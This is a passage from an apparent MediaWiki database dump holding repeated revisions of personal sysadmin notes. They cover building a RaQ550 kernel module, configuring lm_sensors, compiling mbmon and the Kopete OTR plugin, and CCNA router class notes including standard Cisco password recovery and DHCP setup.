by:\n\nhttp://66.118.149.130/Moria.azure.com/test/phpinfo.php\n\n\"Site preview\" in the site settings has to be enabled for this to work and the server has to have DNS \"enable Server\" active\n\n\nSites Content is stored:\n\n/home/sites/Moria.azure.com/web\n\n(/sites is a sym link)\n\n\n\n== Strongbolt Kernel ==\n<pre>\nKernel source is at:\nhttp://www.osoffice.co.uk/linux/raq550-sb-kernel-source/2.6/\n\n/usr/src/sbraq550src/linux-2.6.16-raq550\nmake menuconfig (required ncurses-dev installed to run)\n\nDevice Drivers --> Multi Device Support (RAID and LVM) --> Device Mapper Support\n\nmake modules\nmake modules install\n\nthe device-mapper get built and put under:\n/usr/src/sbraq550src/linux-2.6.16-raq550/drivers/md\ncp -r md/ /lib/modules/2.6.16-xtr/\n(Move it to current modules directory - dm-mod.ko is it)\n\ndepmod -a\nmodproble dm_mod\n\nlsmod should now show dm_mod\n</pre>','utf-8'),(53,'__FORCETOC__\n\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n<pre>\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1:   +1.50 V  (min =  +0.00 V, max =  +4.08 V)\nVCore 2:   +1.49 V  (min =  +0.00 V, max =  +4.08 V)\n+3.3V:     +3.30 V  (min =  +0.00 V, max =  +4.08 V)\n+5V:       +5.00 V  (min =  +0.00 V, max =  +6.85 V)\n+12V:     +11.90 V  (min =  +0.00 V, max = +16.32 V)\n-12V:      -5.27 V  (min = -27.36 V, max =  +3.93 V)\n-5V:       -4.56 V  (min = -13.64 V, max =  +4.03 V)\nStdby:     +4.95 V  (min =  +0.00 V, max =  +6.85 V)\nVBat:      +4.08 V\nfan1:        0 RPM  (min =    0 RPM, div = 128)\nfan2:        0 RPM  (min =    0 RPM, div = 128)\nfan3:     10714 RPM  (min =    0 RPM, div = 2)\nM/B Temp:    +25°C  (low  =  +127°C, high =  +127°C)   sensor = thermistor\nCPU Temp:    +93°C  (low  =  +127°C, high =  +127°C)   sensor = diode\nTemp3:       +30°C  (low  =  +127°C, high =  +127°C)   sensor = diode\n</pre>\nNote: If  temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n<pre>\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n  set sensor1 2\n   set sensor2 3\n   set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n    label temp1       \"M/B Temp\"\n#    set   temp1_over  40\n#    set   temp1_low   15\n    label temp2       \"CPU Temp\"\n#    set   temp2_over  45\n#    set   temp2_low   15\n#   ignore temp3\n    label temp3       \"Temp3\"\n</pre>\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n<pre>\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n   \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n   \'i2c device interface\'. If you are using a distribution kernel, all is\n   already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n</pre>\n\n\nAnd form the Install doc:\n<pre>\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n    Use the drivers already in the 2.5/2.6 kernel tree.\n    If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n    do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n    of these instructions.\n</pre>','utf-8'),(54,'__FORCETOC__\n\n[[image:lm_sensors.gif|right|frame]]\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n<pre>\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1:   +1.50 V  (min =  +0.00 V, max =  +4.08 V)\nVCore 2:   +1.49 V  (min =  +0.00 V, max =  +4.08 V)\n+3.3V:     +3.30 V  (min =  +0.00 V, max =  +4.08 V)\n+5V:       +5.00 V  (min =  +0.00 V, max =  +6.85 V)\n+12V:     +11.90 V  (min =  +0.00 V, max = +16.32 V)\n-12V:      -5.27 V  (min = -27.36 V, max =  +3.93 V)\n-5V:       -4.56 V  (min = -13.64 V, max =  +4.03 V)\nStdby:     +4.95 V  (min =  +0.00 V, max =  +6.85 V)\nVBat:      +4.08 V\nfan1:        0 RPM  (min =    0 RPM, div = 128)\nfan2:        0 RPM  (min =    0 RPM, div = 128)\nfan3:     10714 RPM  (min =    0 RPM, div = 2)\nM/B Temp:    +25°C  (low  =  +127°C, high =  +127°C)   sensor = thermistor\nCPU Temp:    +93°C  (low  =  +127°C, high =  +127°C)   sensor = diode\nTemp3:       +30°C  (low  =  +127°C, high =  +127°C)   sensor = diode\n</pre>\nNote: If  temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n<pre>\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n  set sensor1 2\n   set sensor2 3\n   set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n    label temp1       \"M/B Temp\"\n#    set   temp1_over  40\n#    set   temp1_low   15\n    label temp2       \"CPU Temp\"\n#    set   temp2_over  45\n#    set   temp2_low   15\n#   ignore temp3\n    label temp3       \"Temp3\"\n</pre>\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n<pre>\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n   \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n   \'i2c device interface\'. If you are using a distribution kernel, all is\n   already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n</pre>\n\n\nAnd form the Install doc:\n<pre>\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n    Use the drivers already in the 2.5/2.6 kernel tree.\n    If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n    do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n    of these instructions.\n</pre>','utf-8'),(55,'','utf-8'),(56,'__FORCETOC__\n\n[[image:lm_sensors.gif|right|frame]]\n\n== Intro: ==\n\nHomepage:\n\nhttp://www.lm-sensors.org/\n\nIf you are running a 2.6 kernel, install should be pretty easy.\n\nGet lm_sensors from:\n\nhttp://dl.lm-sensors.org/lm-sensors/releases/lm_sensors-2.10.4.tar.gz\n\nThere is now a QUICKSTART file in the package. This has the simple setup for 2.6 kernels. The first part of this is excerpted and given at the end of this page. Please read this.\n\nEnsure i2c is installed - lsmod will show if it is. If not, read up and install it. \n\nThe rest of this is on how to configure the sensors to read more correct tempuratures. \n\n\'\'\'IMPORTANT:\'\'\'\n\nThe diodes and thermistors used on motherboards are extremely inexpensive. We are not going to get perfect readings from them, actually sometimes not even that close. It\'s not a sensor that NASA is going to be using real soon. The raw reading is computed using a simple algorithm to yield the final result displayed as temperature. You can make it be whatever you want. BIOS uses it\'s own formula, lm_sensors uses it and you can modify it as needed. \n\nWe can experiment and determine what the best, most broadly effective formula could be by comparing BIOS reading, lm_sensor reading and through another digital thermometer whose reading are know to be good.\n\n\n== Sensor Configuration ==\n\n\nRun sensors-detect will detect the on board sensors. This will then write changes to /etc/modules to include those discovered.\n\nOnce these modules are loaded running sensors should give you an out put like:\n<pre>\nsophelo3:/var/lib/dpkg/info# sensors\nit8712-isa-0290\nAdapter: ISA adapter\nVCore 1:   +1.50 V  (min =  +0.00 V, max =  +4.08 V)\nVCore 2:   +1.49 V  (min =  +0.00 V, max =  +4.08 V)\n+3.3V:     +3.30 V  (min =  +0.00 V, max =  +4.08 V)\n+5V:       +5.00 V  (min =  +0.00 V, max =  +6.85 V)\n+12V:     +11.90 V  (min =  +0.00 V, max = +16.32 V)\n-12V:      -5.27 V  (min = -27.36 V, max =  +3.93 V)\n-5V:       -4.56 V  (min = -13.64 V, max =  +4.03 V)\nStdby:     +4.95 V  (min =  +0.00 V, max =  +6.85 V)\nVBat:      +4.08 V\nfan1:        0 RPM  (min =    0 RPM, div = 128)\nfan2:        0 RPM  (min =    0 RPM, div = 128)\nfan3:     10714 RPM  (min =    0 RPM, div = 2)\nM/B Temp:    +25°C  (low  =  +127°C, high =  +127°C)   sensor = thermistor\nCPU Temp:    +93°C  (low  =  +127°C, high =  +127°C)   sensor = diode\nTemp3:       +30°C  (low  =  +127°C, high =  +127°C)   sensor = diode\n</pre>\nNote: If  temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa.\n\nModify /etc/sensors.conf and search for the sensor type identified in the first line of output - it8712 in this case. (You can also check in /etc/modules). This conf file is big - so just search for it. Change the line that look like this:\n<pre>\n# Temperature\n#\n# Important - if your temperature readings are completely whacky\n# you probably need to change the sensor type.\n# Adjust and uncomment the appropriate lines below.\n# The old method (modprobe it87 temp_type=0xXX) is no longer supported.\n#\n# 2 = thermistor; 3 = thermal diode; 0 = unused\n  set sensor1 2\n   set sensor2 3\n   set sensor3 3\n# If a given sensor isn\'t used, you will probably want to ignore it\n# (see ignore statement right below).\n\n    label temp1       \"M/B Temp\"\n#    set   temp1_over  40\n#    set   temp1_low   15\n    label temp2       \"CPU Temp\"\n#    set   temp2_over  45\n#    set   temp2_low   15\n#   ignore temp3\n    label temp3       \"Temp3\"\n</pre>\nYou must reload lm_sensors config with sensors -s for changes to take effect\n\n\n== More to Add . . . ==\n\nAdd here: more information on configuring /etc/sensors.conf.\n\nWhy are some voltages incorrect?\n\nWhy are temperatures sometimes negative?\n\nhttp://www.lm-sensors.org/wiki/iwizard/WrongTemps\n\nThermistors and Transistors as Temperature Sensors\n(How do they work anyway?)\n\nhttp://www.lm-sensors.org/browser/lm-sensors/trunk/doc/temperature-sensors\n\n\n== Quickstart ==\n\n(excerpted from Quickstart packaged with lm_sensors)\n<pre>\nLM_SENSORS QUICK INSTALLATION INSTRUCTIONS\n------------------------------------------\n\nThe instructions in this document will generally work if you have a standard\nsystem, but not always!!\n\nThe first part of document is for 2.6 kernel series, second part is for\nolder 2.4 kernels.\n\nQuickstart for Kernel 2.6\n-------------------------\n\n0) Just compile and install lm-sensors userspace tools. You can do that with:\n   \'make user; make user_install\'\n1) Make sure your kernel has support for all I2C bus drivers and\n   \'i2c device interface\'. If you are using a distribution kernel, all is\n   already prepared, you don\'t need to recompile it.\n2) Run \'sensors-detect\' command, it will tell you what modules you need to load.\n3) Load them and run \'sensors\' command, you should see some results.\n4) Find right section in /etc/sensors.conf, fix labels, limits, fan divisors\n5) Run \'sensors -s\' to apply the changes.\n\nYou may also try our installation wizard at:\n\nhttp://www.lm-sensors.org/wiki/iwizard/1\n\nWe are aware that the documentation could be improved, please contact us if\nyou want to help us with that.\n</pre>\n\n\nAnd form the Install doc:\n<pre>\nFOR 2.5/2.6 KERNELS, do not attempt to compile this package.\n    Use the drivers already in the 2.5/2.6 kernel tree.\n    If you are running a 2.5/2.6 kernel, the ONLY thing you need to\n    do is \'make user\' and \'make user_install\'. Do NOT follow the rest\n    of these instructions.\n</pre>\n\n== mbmon - Fix Me ==\n\n(This needs further work to make it work on CentOS. Help out if you want.)\n\nAn alternative is mbmon, however this is not available as a yum package for CentOS.\n\nYou can make an .rpm created from the Debian package with alien, but attempting to install it will have a failed dependency: \n\nperl(RRDs) is needed by mbmon-2.05-5.i386\n\nThis is resolved by installing:\n\nrpm -ivh perl-rrdtool-1.2.12-1.2.el4.test rrdtool-1.2.12-1.2.el4.test rrdtool-devel-1.2.12-1.2.el4.test\n(Or latest)\n\nWhich are available from: http://dag.wieers.com/packages/rrdtool/\n\n(All four above rpms (including the aliened mbmon itself) are on the file server under mbmon) \n\nHowever, after install those three rpms and trying to install the mbmon again you will get:\n<pre>\nroot@Tardis [~]# rpm -Uvh mbmon-2.05-5.i386.rpm\nPreparing...                ########################################### [100%]\nfile /etc/init.d from install of mbmon-2.05-5 conflicts with file from package chkconfig-1.3.13.4-1\n</pre>\nSo . . . \n\nYou can compile it from source available at:\n\nhttp://www.nt.phys.kyushu-u.ac.jp/shimizu/download/download.html\n\n(This is the source for both the xmbmon and mbmon)\n\nWhile this should be a simple ./configure make make install it also runs into trouble, giving me:\n<pre>\nCallandor:~/xmbmon200 # make\ngcc -c -O3 -I. -DHAVE_CONFIG_H -Wall getMBinfo.c\nIn file included from pci_pm.h:16,\nfrom getMBinfo.c:22:\nio_cpu.h:13:29: error: machine/cpufunc.h: No such file or directory\ngetMBinfo.c: In function ‘InitMBInfo’:\ngetMBinfo.c:220: warning: implicit declaration of function ‘strcmp’\nmake: *** [getMBinfo.o] Error 1\n</pre>\nOn two test CentOS boxes I tried it on.\n\nTo be continued . . .','utf-8'),(57,'\n== Transparent Terminal ==\n\nChangeMe-2-Prod-2:~ archimedes$ cat .bash_profile \n\nexport CLICOLORS=1\n\ndefaults write com.apple.terminal TerminalOpaqueness \'0.85\'\n\nalias ls=\"ls -G\"','utf-8'),(58,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one:\n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel\n\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2','utf-8'),(59,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel\n\n(You also need the X11 development libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(60,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel qt3-devel kdelibs3-devel\n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(61,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(62,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install','utf-8'),(63,'__FORCETOC__\n\n\nCompiling Kopete OTR Plug in for Suse 10.3\n\nFollow the instructions at:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\n\n\n== OTR Libraries ==\n\n\nBuild it from source:\n\nFirst download the libgcrypt development libraries:\n\n #zypper install libgpg-error-devel libgcrypt-devel\n\n(libgcrypt itself should already be installed, but you need the development libs for compiling.)\n\nThen build OTR library source from:\n\nhttp://www.cypherpunks.ca/otr/libotr-3.1.0.tar.gz\n\nwget it, configure, make make install\n\n\n\n== Kopete plug-in ==\n \n\nNext compile the Kopete plug-in itself:\n\nYou will need the stdc++ development libraries for this one. Also make sure you actually have the c++ compilier installed - it is not by default and if not you will get an error when you run configure:\n\nconfigure: error: Your Installation isn\'t able to compile simple C++ programs.\nCheck config.log for details - if you\'re using a Linux distribution you might miss\na package named similar to libstdc++-dev\n\nInstall these packages to be able to build C++ programs:  \n\n #zypper install libstdc++42-devel libstdc++42 libstdc++-devel gcc-c++ xorg-x11-devel libqt4-devel\n #qt3-devel kdelibs3-devel kdenetwork3-devel \n\n(You also need the X11 development & KDE dev libraries as above)\n\nDownload the source code from:\n\nhttp://www.kde-apps.org/content/show.php/Kopete+OTR+Plugin?content=55002\n\ntar xvjpf kopete-otr-0.7.tar.bz2\n\nWith all the packages listed above installed you should just be able to do the usual:\n\n./configure\n./make && make install\nor\n./checkinstall to build the .rpm instead\n(Do this as it\'s easier to remove the .rpm, install onto another system, etc.)','utf-8'),(64,'__FORCETOC__     [[image:CiscoLogo.jpeg|frame|right]]\n\n Cisco Certified Network Associate\n class notes - St. Pete College \n\n\n== CCNA 1 == \n\n\'\'\'Networking Bascis\'\'\'\n\n\'\'\'Rewiring your POD\'\'\'\n\nErase startup-config		#clear config in NVRAM\nReload\n\nConfig t\nHostname RouterB\n\nWr				 #to save\n\n\'\'\'Password Recovery\'\'\'\n\nConfig register 0x2102	default value\n\nBits 0,1,2,3 Boot filed (2101 boot IOS ROM, 2102 full IOS (flash))\nBit 6 Ignore NVRAM\n\n0x2142			        #ignore NVRAM\n\nCtrl – break during post to get to ROM MON\n\n>o				#Displays current config register\n\n>o/r 0x2142			#Set to 2142 hex\n\n>I				#Initialize\n\nOnce in IOS:\n\nCopy star run			#copies NVRAM into running config\n\nConfig t\nConfig-register 0x2101\n\nSh run				#shows current passwords\n\nChange password(s)\n\nCopy run star			#save modified settings to NVRAM\n\nSh ver				#verify config register is 0x2102 now\n\nPower off and on (or \'reload\')\n\n\n\'\'\'Initial Router Config\'\'\'\n\nFive passwords:\n\n1.Virtual Terminal\nSh line to view line status or sh session to show current telnet session\n\nLine vty 0 4\nLogin\nPassword < >\n\n2.Console Password\n\nLine con 0\n<as above>\n\n3.Auxiliary password\n\nLine aux 0\n<as above>\n\n4.Privileged mode – level 15 commands\n\na.Enable password < >  Type 7 – weak password\nb.Enable secret <  >	MD5 \n\n5.Encrypt all passwords:\n\nService password-encrypt\n\n\n\'\'\'Global Config:\'\'\'\n\nEnable\nConfig t\nHostname RouterB\nNo ip domain-lookup	(stops IOS searching for a DNS server in case of typos)\nNo exec-timeout (disable telent time out period)\n\n\n\'\'\'Interface config:\'\'\'\n\n(config-if) int s0/0 or int s 0\nIp address 172.16.20.2 255.255.255.0\nBandwidth 56\n\nInt s 0/1\nIp address 172.16.40.1 255.255.255.0\nBandwidth 56\nNo shutdown\n\nShow controllers serial 0/0 to display DCE/DTE status\n\n\'\'\'Clock rate setting:\'\'\'\n\nInt s0/0\nClock rate 56000\nInt s0/1\nClock rate 56000\n\nSh run (review total config)\n\nSh int (status of interfaces)\n\nSh ip int brief (brief status)\n\nNo shutdown to bring an interface administratively up. If an interface is up but the line protocol is down there is a problem with the physical connection of clocking on either the DCE OR DTE side – it could be the other router’s settings.\n\n\'\'\'Clock setting:\'\'\'\n\nClock set 21:30:00 Jan 18 2007\nSh clock\n\n\'\'\'TFTP’ing between routers:\'\'\'\n\nAddress the e0 ports so they are on same lan\nVerify connectivity with ping\nOn router A: show flash (highlight & copy the IOS filename)\nOn router A: tftp-server flash: {IOS filename}\nOn client router(s): copy tftp flash\nWhen prompted, enter IOS filename\n\n\n\'\'\'Configuring DHCP\'\'\'\n\nConfig t\nService dhcp\nIp dhcp pool 10-net (10-net is whatever name you wish)\nNetwork 172.16.0.0 255.255.255.0\nRouter(dhcp-config)# default-router 172.16.x.1\nDns-server 172.16.x.3\nNetbios-name-server 72.16.x.4\nDomain-name xyz.net\nExit\n\nIp dhcp excluded-address 172.16.x.1 172.16.x.10\n(Will cause first ip to be 172.16.x.11\n\n\'\'\'Stopping / starting dhcp:\'\'\'\n\nNo service dhcp\nService dhcp (restarts)\n\n\n\'\'\'Address Resolution Protocol\'\'\'\n\nArp –g displays cache\nArp –s assigns static entry\nArp –d removes entry\n\n\n\'\'\'IP MULTICASTING:\'\'\'\n\nhttp://host50.ipowerweb.com/~netflow/livecaster.exe\nsong.mp3 should be in livecaster folder\nalso freeamp.exe and \n\nVerify you can ping the multicast server\n\nUser network spy and view packets, look for the multicast\n\nIn freeamp, enter in the URL box:\nRtp://<multicast ip address>:port number\n\n== CCNA 2 ==\n\n\'\'\'Routers and Routing Basics\'\'\'\n\n\'\'\'TFTP:\'\'\'\n\nsh flash\n\nTells filename, size, etc. \n\ncopy flash {run} tftp\n\nBooting from TFTP:\n\nRouter(config)#boot system tftp <IOS Filename> <IP address of TFTP server>\n\n\'\'\'CDP:\'\'\'\n\nRouterB(config)# int s0\nRouterB(Config-if)#cdp enabled\nRouterB(config-if)#int s1\nRouterB(Config-if)#cdp enabled\n\nsh cdp int #shows status of CDP advertisements on interfaces.\n\nsh cdp 